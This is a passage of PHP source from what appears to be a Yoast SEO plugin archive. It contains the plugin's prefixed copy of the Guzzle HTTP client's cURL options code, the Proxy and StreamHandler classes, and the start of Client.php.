        if (isset($options['force_ip_resolve'])) {
            if ('v4' === $options['force_ip_resolve']) {
                $conf[\CURLOPT_IPRESOLVE] = \CURL_IPRESOLVE_V4;
            } elseif ('v6' === $options['force_ip_resolve']) {
                $conf[\CURLOPT_IPRESOLVE] = \CURL_IPRESOLVE_V6;
            }
        }
        if (isset($options['connect_timeout'])) {
            $timeoutRequiresNoSignal |= $options['connect_timeout'] < 1;
            $conf[\CURLOPT_CONNECTTIMEOUT_MS] = $options['connect_timeout'] * 1000;
        }
        if ($timeoutRequiresNoSignal && \strtoupper(\substr(\PHP_OS, 0, 3)) !== 'WIN') {
            $conf[\CURLOPT_NOSIGNAL] = \true;
        }
        if (isset($options['proxy'])) {
            if (!\is_array($options['proxy'])) {
                $conf[\CURLOPT_PROXY] = $options['proxy'];
            } else {
                $scheme = $easy->request->getUri()->getScheme();
                if (isset($options['proxy'][$scheme])) {
                    $host = $easy->request->getUri()->getHost();
                    if (isset($options['proxy']['no']) && \YoastSEO_Vendor\GuzzleHttp\Utils::isHostInNoProxy($host, $options['proxy']['no'])) {
                        unset($conf[\CURLOPT_PROXY]);
                    } else {
                        $conf[\CURLOPT_PROXY] = $options['proxy'][$scheme];
                    }
                }
            }
        }
        if (isset($options['crypto_method'])) {
            if (\STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT === $options['crypto_method']) {
                if (!\defined('CURL_SSLVERSION_TLSv1_0')) {
                    throw new \InvalidArgumentException('Invalid crypto_method request option: TLS 1.0 not supported by your version of cURL');
                }
                $conf[\CURLOPT_SSLVERSION] = \CURL_SSLVERSION_TLSv1_0;
            } elseif (\STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT === $options['crypto_method']) {
                if (!\defined('CURL_SSLVERSION_TLSv1_1')) {
                    throw new \InvalidArgumentException('Invalid crypto_method request option: TLS 1.1 not supported by your version of cURL');
                }
                $conf[\CURLOPT_SSLVERSION] = \CURL_SSLVERSION_TLSv1_1;
            } elseif (\STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT === $options['crypto_method']) {
                if (!\defined('CURL_SSLVERSION_TLSv1_2')) {
                    throw new \InvalidArgumentException('Invalid crypto_method request option: TLS 1.2 not supported by your version of cURL');
                }
                $conf[\CURLOPT_SSLVERSION] = \CURL_SSLVERSION_TLSv1_2;
            } elseif (\defined('STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT') && \STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT === $options['crypto_method']) {
                if (!\defined('CURL_SSLVERSION_TLSv1_3')) {
                    throw new \InvalidArgumentException('Invalid crypto_method request option: TLS 1.3 not supported by your version of cURL');
                }
                $conf[\CURLOPT_SSLVERSION] = \CURL_SSLVERSION_TLSv1_3;
            } else {
                throw new \InvalidArgumentException('Invalid crypto_method request option: unknown version provided');
            }
        }
        if (isset($options['cert'])) {
            $cert = $options['cert'];
            if (\is_array($cert)) {
                $conf[\CURLOPT_SSLCERTPASSWD] = $cert[1];
                $cert = $cert[0];
            }
            if (!\file_exists($cert)) {
                throw new \InvalidArgumentException("SSL certificate not found: {$cert}");
            }
            // OpenSSL (versions 0.9.3 and later) also support "P12" for PKCS#12-encoded files.
            // see https://curl.se/libcurl/c/CURLOPT_SSLCERTTYPE.html
            $ext = \pathinfo($cert, \PATHINFO_EXTENSION);
            if (\preg_match('#^(der|p12)$#i', $ext)) {
                $conf[\CURLOPT_SSLCERTTYPE] = \strtoupper($ext);
            }
            $conf[\CURLOPT_SSLCERT] = $cert;
        }
        if (isset($options['ssl_key'])) {
            if (\is_array($options['ssl_key'])) {
                if (\count($options['ssl_key']) === 2) {
                    [$sslKey, $conf[\CURLOPT_SSLKEYPASSWD]] = $options['ssl_key'];
                } else {
                    [$sslKey] = $options['ssl_key'];
                }
            }
            $sslKey = $sslKey ?? $options['ssl_key'];
            if (!\file_exists($sslKey)) {
                throw new \InvalidArgumentException("SSL private key not found: {$sslKey}");
            }
            $conf[\CURLOPT_SSLKEY] = $sslKey;
        }
        if (isset($options['progress'])) {
            $progress = $options['progress'];
            if (!\is_callable($progress)) {
                throw new \InvalidArgumentException('progress client option must be callable');
            }
            $conf[\CURLOPT_NOPROGRESS] = \false;
            $conf[\CURLOPT_PROGRESSFUNCTION] = static function ($resource, int $downloadSize, int $downloaded, int $uploadSize, int $uploaded) use($progress) {
                $progress($downloadSize, $downloaded, $uploadSize, $uploaded);
            };
        }
        if (!empty($options['debug'])) {
            $conf[\CURLOPT_STDERR] = \YoastSEO_Vendor\GuzzleHttp\Utils::debugResource($options['debug']);
            $conf[\CURLOPT_VERBOSE] = \true;
        }
    }
    /**
     * This function ensures that a response was set on a transaction. If one
     * was not set, then the request is retried if possible. This error
     * typically means you are sending a payload, curl encountered a
     * "Connection died, retrying a fresh connect" error, tried to rewind the
     * stream, and then encountered a "necessary data rewind wasn't possible"
     * error, causing the request to be sent through curl_multi_info_read()
     * without an error status.
     *
     * @param callable(RequestInterface, array): PromiseInterface $handler
     */
    private static function retryFailedRewind(callable $handler, \YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy, array $ctx) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        try {
            // Only rewind if the body has been read from.
            $body = $easy->request->getBody();
            if ($body->tell() > 0) {
                $body->rewind();
            }
        } catch (\RuntimeException $e) {
            $ctx['error'] = 'The connection unexpectedly failed without ' . 'providing an error. The request would have been retried, ' . 'but attempting to rewind the request body failed. ' . 'Exception: ' . $e;
            return self::createRejection($easy, $ctx);
        }
        // Retry no more than 3 times before giving up.
        if (!isset($easy->options['_curl_retries'])) {
            $easy->options['_curl_retries'] = 1;
        } elseif ($easy->options['_curl_retries'] == 2) {
            $ctx['error'] = 'The cURL request was retried 3 times ' . 'and did not succeed. The most likely reason for the failure ' . 'is that cURL was unable to rewind the body of the request ' . 'and subsequent retries resulted in the same error. Turn on ' . 'the debug option to see what went wrong. See ' . 'https://bugs.php.net/bug.php?id=47204 for more information.';
            return self::createRejection($easy, $ctx);
        } else {
            ++$easy->options['_curl_retries'];
        }
        return $handler($easy->request, $easy->options);
    }
    private function createHeaderFn(\YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy) : callable
    {
        if (isset($easy->options['on_headers'])) {
            $onHeaders = $easy->options['on_headers'];
            if (!\is_callable($onHeaders)) {
                throw new \InvalidArgumentException('on_headers must be callable');
            }
        } else {
            $onHeaders = null;
        }
        return static function ($ch, $h) use($onHeaders, $easy, &$startingResponse) {
            $value = \trim($h);
            if ($value === '') {
                $startingResponse = \true;
                try {
                    $easy->createResponse();
                } catch (\Exception $e) {
                    $easy->createResponseException = $e;
                    return -1;
                }
                if ($onHeaders !== null) {
                    try {
                        $onHeaders($easy->response);
                    } catch (\Exception $e) {
                        // Associate the exception with the handle and trigger
                        // a curl header write error by returning 0.
                        $easy->onHeadersException = $e;
                        return -1;
                    }
                }
            } elseif ($startingResponse) {
                $startingResponse = \false;
                $easy->headers = [$value];
            } else {
                $easy->headers[] = $value;
            }
            return \strlen($h);
        };
    }
    public function __destruct()
    {
        foreach ($this->handles as $id => $handle) {
            \curl_close($handle);
            unset($this->handles[$id]);
        }
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Handler/Proxy.php000064400000004616147510273100022310 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Handler;

use YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
use YoastSEO_Vendor\GuzzleHttp\RequestOptions;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
/**
 * Provides basic proxies for handlers.
 *
 * @final
 */
class Proxy
{
    /**
     * Sends synchronous requests to a specific handler while sending all other
     * requests to another handler.
     *
     * @param callable(\Psr\Http\Message\RequestInterface, array): \GuzzleHttp\Promise\PromiseInterface $default Handler used for normal responses
     * @param callable(\Psr\Http\Message\RequestInterface, array): \GuzzleHttp\Promise\PromiseInterface $sync    Handler used for synchronous responses.
     *
     * @return callable(\Psr\Http\Message\RequestInterface, array): \GuzzleHttp\Promise\PromiseInterface Returns the composed handler.
     */
    public static function wrapSync(callable $default, callable $sync) : callable
    {
        return static function (\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) use($default, $sync) : PromiseInterface {
            return empty($options[\YoastSEO_Vendor\GuzzleHttp\RequestOptions::SYNCHRONOUS]) ? $default($request, $options) : $sync($request, $options);
        };
    }
    /**
     * Sends streaming requests to a streaming compatible handler while sending
     * all other requests to a default handler.
     *
     * This, for example, could be useful for taking advantage of the
     * performance benefits of curl while still supporting true streaming
     * through the StreamHandler.
     *
     * @param callable(\Psr\Http\Message\RequestInterface, array): \GuzzleHttp\Promise\PromiseInterface $default   Handler used for non-streaming responses
     * @param callable(\Psr\Http\Message\RequestInterface, array): \GuzzleHttp\Promise\PromiseInterface $streaming Handler used for streaming responses
     *
     * @return callable(\Psr\Http\Message\RequestInterface, array): \GuzzleHttp\Promise\PromiseInterface Returns the composed handler.
     */
    public static function wrapStreaming(callable $default, callable $streaming) : callable
    {
        return static function (\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) use($default, $streaming) : PromiseInterface {
            return empty($options['stream']) ? $default($request, $options) : $streaming($request, $options);
        };
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Handler/StreamHandler.php000064400000053042147510273100023715 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Handler;

use YoastSEO_Vendor\GuzzleHttp\Exception\ConnectException;
use YoastSEO_Vendor\GuzzleHttp\Exception\RequestException;
use YoastSEO_Vendor\GuzzleHttp\Promise as P;
use YoastSEO_Vendor\GuzzleHttp\Promise\FulfilledPromise;
use YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
use YoastSEO_Vendor\GuzzleHttp\Psr7;
use YoastSEO_Vendor\GuzzleHttp\TransferStats;
use YoastSEO_Vendor\GuzzleHttp\Utils;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
/**
 * HTTP handler that uses PHP's HTTP stream wrapper.
 *
 * @final
 */
class StreamHandler
{
    /**
     * @var array
     */
    private $lastHeaders = [];
    /**
     * Sends an HTTP request.
     *
     * @param RequestInterface $request Request to send.
     * @param array            $options Request transfer options.
     */
    public function __invoke(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        // Sleep if there is a delay specified.
        if (isset($options['delay'])) {
            \usleep($options['delay'] * 1000);
        }
        $startTime = isset($options['on_stats']) ? \YoastSEO_Vendor\GuzzleHttp\Utils::currentTime() : null;
        try {
            // Does not support the expect header.
            $request = $request->withoutHeader('Expect');
            // Append a content-length header if body size is zero to match
            // cURL's behavior.
            if (0 === $request->getBody()->getSize()) {
                $request = $request->withHeader('Content-Length', '0');
            }
            return $this->createResponse($request, $options, $this->createStream($request, $options), $startTime);
        } catch (\InvalidArgumentException $e) {
            throw $e;
        } catch (\Exception $e) {
            // Determine if the error was a networking error.
            $message = $e->getMessage();
            // This list can probably get more comprehensive.
            if (\false !== \strpos($message, 'getaddrinfo') || \false !== \strpos($message, 'Connection refused') || \false !== \strpos($message, "couldn't connect to host") || \false !== \strpos($message, 'connection attempt failed')) {
                $e = new \YoastSEO_Vendor\GuzzleHttp\Exception\ConnectException($e->getMessage(), $request, $e);
            } else {
                $e = \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException::wrapException($request, $e);
            }
            $this->invokeStats($options, $request, $startTime, null, $e);
            return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($e);
        }
    }
    private function invokeStats(array $options, \YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, ?float $startTime, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response = null, \Throwable $error = null) : void
    {
        if (isset($options['on_stats'])) {
            $stats = new \YoastSEO_Vendor\GuzzleHttp\TransferStats($request, $response, \YoastSEO_Vendor\GuzzleHttp\Utils::currentTime() - $startTime, $error, []);
            $options['on_stats']($stats);
        }
    }
    /**
     * @param resource $stream
     */
    private function createResponse(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options, $stream, ?float $startTime) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        $hdrs = $this->lastHeaders;
        $this->lastHeaders = [];
        try {
            [$ver, $status, $reason, $headers] = \YoastSEO_Vendor\GuzzleHttp\Handler\HeaderProcessor::parseHeaders($hdrs);
        } catch (\Exception $e) {
            return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor(new \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException('An error was encountered while creating the response', $request, null, $e));
        }
        [$stream, $headers] = $this->checkDecode($options, $headers, $stream);
        $stream = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($stream);
        $sink = $stream;
        if (\strcasecmp('HEAD', $request->getMethod())) {
            $sink = $this->createSink($stream, $options);
        }
        try {
            $response = new \YoastSEO_Vendor\GuzzleHttp\Psr7\Response($status, $headers, $sink, $ver, $reason);
        } catch (\Exception $e) {
            return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor(new \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException('An error was encountered while creating the response', $request, null, $e));
        }
        if (isset($options['on_headers'])) {
            try {
                $options['on_headers']($response);
            } catch (\Exception $e) {
                return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor(new \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException('An error was encountered during the on_headers event', $request, $response, $e));
            }
        }
        // Do not drain when the request is a HEAD request because they have
        // no body.
        if ($sink !== $stream) {
            $this->drain($stream, $sink, $response->getHeaderLine('Content-Length'));
        }
        $this->invokeStats($options, $request, $startTime, $response, null);
        return new \YoastSEO_Vendor\GuzzleHttp\Promise\FulfilledPromise($response);
    }
    private function createSink(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, array $options) : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
    {
        if (!empty($options['stream'])) {
            return $stream;
        }
        $sink = $options['sink'] ?? \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::tryFopen('php://temp', 'r+');
        return \is_string($sink) ? new \YoastSEO_Vendor\GuzzleHttp\Psr7\LazyOpenStream($sink, 'w+') : \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($sink);
    }
    /**
     * @param resource $stream
     */
    private function checkDecode(array $options, array $headers, $stream) : array
    {
        // Automatically decode responses when instructed.
        if (!empty($options['decode_content'])) {
            $normalizedKeys = \YoastSEO_Vendor\GuzzleHttp\Utils::normalizeHeaderKeys($headers);
            if (isset($normalizedKeys['content-encoding'])) {
                $encoding = $headers[$normalizedKeys['content-encoding']];
                if ($encoding[0] === 'gzip' || $encoding[0] === 'deflate') {
                    $stream = new \YoastSEO_Vendor\GuzzleHttp\Psr7\InflateStream(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($stream));
                    $headers['x-encoded-content-encoding'] = $headers[$normalizedKeys['content-encoding']];
                    // Remove content-encoding header
                    unset($headers[$normalizedKeys['content-encoding']]);
                    // Fix content-length header
                    if (isset($normalizedKeys['content-length'])) {
                        $headers['x-encoded-content-length'] = $headers[$normalizedKeys['content-length']];
                        $length = (int) $stream->getSize();
                        if ($length === 0) {
                            unset($headers[$normalizedKeys['content-length']]);
                        } else {
                            $headers[$normalizedKeys['content-length']] = [$length];
                        }
                    }
                }
            }
        }
        return [$stream, $headers];
    }
    /**
     * Drains the source stream into the "sink" client option.
     *
     * @param string $contentLength Header specifying the amount of
     *                              data to read.
     *
     * @throws \RuntimeException when the sink option is invalid.
     */
    private function drain(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $source, \YoastSEO_Vendor\Psr\Http\Message\StreamInterface $sink, string $contentLength) : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
    {
        // If a content-length header is provided, then stop reading once
        // that number of bytes has been read. This can prevent infinitely
        // reading from a stream when dealing with servers that do not honor
        // Connection: Close headers.
        \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToStream($source, $sink, \strlen($contentLength) > 0 && (int) $contentLength > 0 ? (int) $contentLength : -1);
        $sink->seek(0);
        $source->close();
        return $sink;
    }
    /**
     * Create a resource and check to ensure it was created successfully
     *
     * @param callable $callback Callable that returns stream resource
     *
     * @return resource
     *
     * @throws \RuntimeException on error
     */
    private function createResource(callable $callback)
    {
        $errors = [];
        \set_error_handler(static function ($_, $msg, $file, $line) use(&$errors) : bool {
            $errors[] = ['message' => $msg, 'file' => $file, 'line' => $line];
            return \true;
        });
        try {
            $resource = $callback();
        } finally {
            \restore_error_handler();
        }
        if (!$resource) {
            $message = 'Error creating resource: ';
            foreach ($errors as $err) {
                foreach ($err as $key => $value) {
                    $message .= "[{$key}] {$value}" . \PHP_EOL;
                }
            }
            throw new \RuntimeException(\trim($message));
        }
        return $resource;
    }
    /**
     * @return resource
     */
    private function createStream(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options)
    {
        static $methods;
        if (!$methods) {
            $methods = \array_flip(\get_class_methods(__CLASS__));
        }
        if (!\in_array($request->getUri()->getScheme(), ['http', 'https'])) {
            throw new \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException(\sprintf("The scheme '%s' is not supported.", $request->getUri()->getScheme()), $request);
        }
        // HTTP/1.1 streams using the PHP stream wrapper require a
        // Connection: close header
        if ($request->getProtocolVersion() == '1.1' && !$request->hasHeader('Connection')) {
            $request = $request->withHeader('Connection', 'close');
        }
        // Ensure SSL is verified by default
        if (!isset($options['verify'])) {
            $options['verify'] = \true;
        }
        $params = [];
        $context = $this->getDefaultContext($request);
        if (isset($options['on_headers']) && !\is_callable($options['on_headers'])) {
            throw new \InvalidArgumentException('on_headers must be callable');
        }
        if (!empty($options)) {
            foreach ($options as $key => $value) {
                $method = "add_{$key}";
                if (isset($methods[$method])) {
                    $this->{$method}($request, $context, $value, $params);
                }
            }
        }
        if (isset($options['stream_context'])) {
            if (!\is_array($options['stream_context'])) {
                throw new \InvalidArgumentException('stream_context must be an array');
            }
            $context = \array_replace_recursive($context, $options['stream_context']);
        }
        // Microsoft NTLM authentication only supported with curl handler
        if (isset($options['auth'][2]) && 'ntlm' === $options['auth'][2]) {
            throw new \InvalidArgumentException('Microsoft NTLM authentication only supported with curl handler');
        }
        $uri = $this->resolveHost($request, $options);
        $contextResource = $this->createResource(static function () use($context, $params) {
            return \stream_context_create($context, $params);
        });
        return $this->createResource(function () use($uri, &$http_response_header, $contextResource, $context, $options, $request) {
            $resource = @\fopen((string) $uri, 'r', \false, $contextResource);
            $this->lastHeaders = $http_response_header ?? [];
            if (\false === $resource) {
                throw new \YoastSEO_Vendor\GuzzleHttp\Exception\ConnectException(\sprintf('Connection refused for URI %s', $uri), $request, null, $context);
            }
            if (isset($options['read_timeout'])) {
                $readTimeout = $options['read_timeout'];
                $sec = (int) $readTimeout;
                $usec = ($readTimeout - $sec) * 100000;
                \stream_set_timeout($resource, $sec, $usec);
            }
            return $resource;
        });
    }
    private function resolveHost(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        $uri = $request->getUri();
        if (isset($options['force_ip_resolve']) && !\filter_var($uri->getHost(), \FILTER_VALIDATE_IP)) {
            if ('v4' === $options['force_ip_resolve']) {
                $records = \dns_get_record($uri->getHost(), \DNS_A);
                if (\false === $records || !isset($records[0]['ip'])) {
                    throw new \YoastSEO_Vendor\GuzzleHttp\Exception\ConnectException(\sprintf("Could not resolve IPv4 address for host '%s'", $uri->getHost()), $request);
                }
                return $uri->withHost($records[0]['ip']);
            }
            if ('v6' === $options['force_ip_resolve']) {
                $records = \dns_get_record($uri->getHost(), \DNS_AAAA);
                if (\false === $records || !isset($records[0]['ipv6'])) {
                    throw new \YoastSEO_Vendor\GuzzleHttp\Exception\ConnectException(\sprintf("Could not resolve IPv6 address for host '%s'", $uri->getHost()), $request);
                }
                return $uri->withHost('[' . $records[0]['ipv6'] . ']');
            }
        }
        return $uri;
    }
    private function getDefaultContext(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request) : array
    {
        $headers = '';
        foreach ($request->getHeaders() as $name => $value) {
            foreach ($value as $val) {
                $headers .= "{$name}: {$val}\r\n";
            }
        }
        $context = ['http' => ['method' => $request->getMethod(), 'header' => $headers, 'protocol_version' => $request->getProtocolVersion(), 'ignore_errors' => \true, 'follow_location' => 0], 'ssl' => ['peer_name' => $request->getUri()->getHost()]];
        $body = (string) $request->getBody();
        if ('' !== $body) {
            $context['http']['content'] = $body;
            // Prevent the HTTP handler from adding a Content-Type header.
            if (!$request->hasHeader('Content-Type')) {
                $context['http']['header'] .= "Content-Type:\r\n";
            }
        }
        $context['http']['header'] = \rtrim($context['http']['header']);
        return $context;
    }
    /**
     * @param mixed $value as passed via Request transfer options.
     */
    private function add_proxy(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array &$options, $value, array &$params) : void
    {
        $uri = null;
        if (!\is_array($value)) {
            $uri = $value;
        } else {
            $scheme = $request->getUri()->getScheme();
            if (isset($value[$scheme])) {
                if (!isset($value['no']) || !\YoastSEO_Vendor\GuzzleHttp\Utils::isHostInNoProxy($request->getUri()->getHost(), $value['no'])) {
                    $uri = $value[$scheme];
                }
            }
        }
        if (!$uri) {
            return;
        }
        $parsed = $this->parse_proxy($uri);
        $options['http']['proxy'] = $parsed['proxy'];
        if ($parsed['auth']) {
            if (!isset($options['http']['header'])) {
                $options['http']['header'] = [];
            }
            $options['http']['header'] .= "\r\nProxy-Authorization: {$parsed['auth']}";
        }
    }
    /**
     * Parses the given proxy URL to make it compatible with the format PHP's stream context expects.
     */
    private function parse_proxy(string $url) : array
    {
        $parsed = \parse_url($url);
        if ($parsed !== \false && isset($parsed['scheme']) && $parsed['scheme'] === 'http') {
            if (isset($parsed['host']) && isset($parsed['port'])) {
                $auth = null;
                if (isset($parsed['user']) && isset($parsed['pass'])) {
                    $auth = \base64_encode("{$parsed['user']}:{$parsed['pass']}");
                }
                return ['proxy' => "tcp://{$parsed['host']}:{$parsed['port']}", 'auth' => $auth ? "Basic {$auth}" : null];
            }
        }
        // Return proxy as-is.
        return ['proxy' => $url, 'auth' => null];
    }
    /**
     * @param mixed $value as passed via Request transfer options.
     */
    private function add_timeout(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array &$options, $value, array &$params) : void
    {
        if ($value > 0) {
            $options['http']['timeout'] = $value;
        }
    }
    /**
     * @param mixed $value as passed via Request transfer options.
     */
    private function add_crypto_method(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array &$options, $value, array &$params) : void
    {
        if ($value === \STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT || $value === \STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT || $value === \STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT || \defined('STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT') && $value === \STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT) {
            $options['http']['crypto_method'] = $value;
            return;
        }
        throw new \InvalidArgumentException('Invalid crypto_method request option: unknown version provided');
    }
    /**
     * @param mixed $value as passed via Request transfer options.
     */
    private function add_verify(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array &$options, $value, array &$params) : void
    {
        if ($value === \false) {
            $options['ssl']['verify_peer'] = \false;
            $options['ssl']['verify_peer_name'] = \false;
            return;
        }
        if (\is_string($value)) {
            $options['ssl']['cafile'] = $value;
            if (!\file_exists($value)) {
                throw new \RuntimeException("SSL CA bundle not found: {$value}");
            }
        } elseif ($value !== \true) {
            throw new \InvalidArgumentException('Invalid verify request option');
        }
        $options['ssl']['verify_peer'] = \true;
        $options['ssl']['verify_peer_name'] = \true;
        $options['ssl']['allow_self_signed'] = \false;
    }
    /**
     * @param mixed $value as passed via Request transfer options.
     */
    private function add_cert(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array &$options, $value, array &$params) : void
    {
        if (\is_array($value)) {
            $options['ssl']['passphrase'] = $value[1];
            $value = $value[0];
        }
        if (!\file_exists($value)) {
            throw new \RuntimeException("SSL certificate not found: {$value}");
        }
        $options['ssl']['local_cert'] = $value;
    }
    /**
     * @param mixed $value as passed via Request transfer options.
     */
    private function add_progress(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array &$options, $value, array &$params) : void
    {
        self::addNotification($params, static function ($code, $a, $b, $c, $transferred, $total) use($value) {
            if ($code == \STREAM_NOTIFY_PROGRESS) {
                // The upload progress cannot be determined. Use 0 for cURL compatibility:
                // https://curl.se/libcurl/c/CURLOPT_PROGRESSFUNCTION.html
                $value($total, $transferred, 0, 0);
            }
        });
    }
    /**
     * @param mixed $value as passed via Request transfer options.
     */
    private function add_debug(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array &$options, $value, array &$params) : void
    {
        if ($value === \false) {
            return;
        }
        static $map = [\STREAM_NOTIFY_CONNECT => 'CONNECT', \STREAM_NOTIFY_AUTH_REQUIRED => 'AUTH_REQUIRED', \STREAM_NOTIFY_AUTH_RESULT => 'AUTH_RESULT', \STREAM_NOTIFY_MIME_TYPE_IS => 'MIME_TYPE_IS', \STREAM_NOTIFY_FILE_SIZE_IS => 'FILE_SIZE_IS', \STREAM_NOTIFY_REDIRECTED => 'REDIRECTED', \STREAM_NOTIFY_PROGRESS => 'PROGRESS', \STREAM_NOTIFY_FAILURE => 'FAILURE', \STREAM_NOTIFY_COMPLETED => 'COMPLETED', \STREAM_NOTIFY_RESOLVE => 'RESOLVE'];
        static $args = ['severity', 'message', 'message_code', 'bytes_transferred', 'bytes_max'];
        $value = \YoastSEO_Vendor\GuzzleHttp\Utils::debugResource($value);
        $ident = $request->getMethod() . ' ' . $request->getUri()->withFragment('');
        self::addNotification($params, static function (int $code, ...$passed) use($ident, $value, $map, $args) : void {
            \fprintf($value, '<%s> [%s] ', $ident, $map[$code]);
            foreach (\array_filter($passed) as $i => $v) {
                \fwrite($value, $args[$i] . ': "' . $v . '" ');
            }
            \fwrite($value, "\n");
        });
    }
    private static function addNotification(array &$params, callable $notify) : void
    {
        // Wrap the existing function if needed.
        if (!isset($params['notification'])) {
            $params['notification'] = $notify;
        } else {
            $params['notification'] = self::callArray([$params['notification'], $notify]);
        }
    }
    private static function callArray(array $functions) : callable
    {
        return static function (...$args) use($functions) {
            foreach ($functions as $fn) {
                $fn(...$args);
            }
        };
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Client.php000064400000047024147510273100021030 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp;

use YoastSEO_Vendor\GuzzleHttp\Cookie\CookieJar;
use YoastSEO_Vendor\GuzzleHttp\Exception\GuzzleException;
use YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException;
use YoastSEO_Vendor\GuzzleHttp\Promise as P;
use YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
/**
 * @final
 */
class Client implements \YoastSEO_Vendor\GuzzleHttp\ClientInterface, \YoastSEO_Vendor\Psr\Http\Client\ClientInterface
{
    use ClientTrait;
    /**
     * @var array Default request options
     */
    private $config;
    /**
     * Clients accept an array of constructor parameters.
     *
     * Here's an example of creating a client using a base_uri and an array of
     * default request options to apply to each request:
     *
     *     $client = new Client([
     *         'base_uri'        => 'http://www.foo.com/1.0/',
     *         'timeout'         => 0,
     *         'allow_redirects' => false,
     *         'proxy'           => '192.168.16.1:10'
     *     ]);
     *
     * Client configuration settings include the following options:
     *
     * - handler: (callable) Function that transfers HTTP requests over the
     *   wire. The function is called with a Psr7\Http\Message\RequestInterface
     *   and array of transfer options, and must return a
     *   GuzzleHttp\Promise\PromiseInterface that is fulfilled with a
     *   Psr7\Http\Message\ResponseInterface on success.
     *   If no handler is provided, a default handler will be created
     *   that enables all of the request options below by attaching all of the
     *   default middleware to the handler.
     * - base_uri: (string|UriInterface) Base URI of the client that is merged
     *   into relative URIs. Can be a string or instance of UriInterface.
     * - **: any request option
     *
     * @param array $config Client configuration settings.
     *
     * @see \GuzzleHttp\RequestOptions for a list of available request options.
     */
    public function __construct(array $config = [])
    {
        if (!isset($config['handler'])) {
            $config['handler'] = \YoastSEO_Vendor\GuzzleHttp\HandlerStack::create();
        } elseif (!\is_callable($config['handler'])) {
            throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('handler must be a callable');
        }
        // Convert the base_uri to a UriInterface
        if (isset($config['base_uri'])) {
            $config['base_uri'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::uriFor($config['base_uri']);
        }
        $this->configureDefaults($config);
    }
    /**
     * @param string $method
     * @param array  $args
     *
     * @return PromiseInterface|ResponseInterface
     *
     * @deprecated Client::__call will be removed in guzzlehttp/guzzle:8.0.
     */
    public function __call($method, $args)
    {
        if (\count($args) < 1) {
            throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('Magic request methods require a URI and optional options array');
        }
        $uri = $args[0];
        $opts = $args[1] ?? [];
        return \substr($method, -5) === 'Async' ? $this->requestAsync(\substr($method, 0, -5), $uri, $opts) : $this->request($method, $uri, $opts);
    }
    /**
     * Asynchronously send an HTTP request.
     *
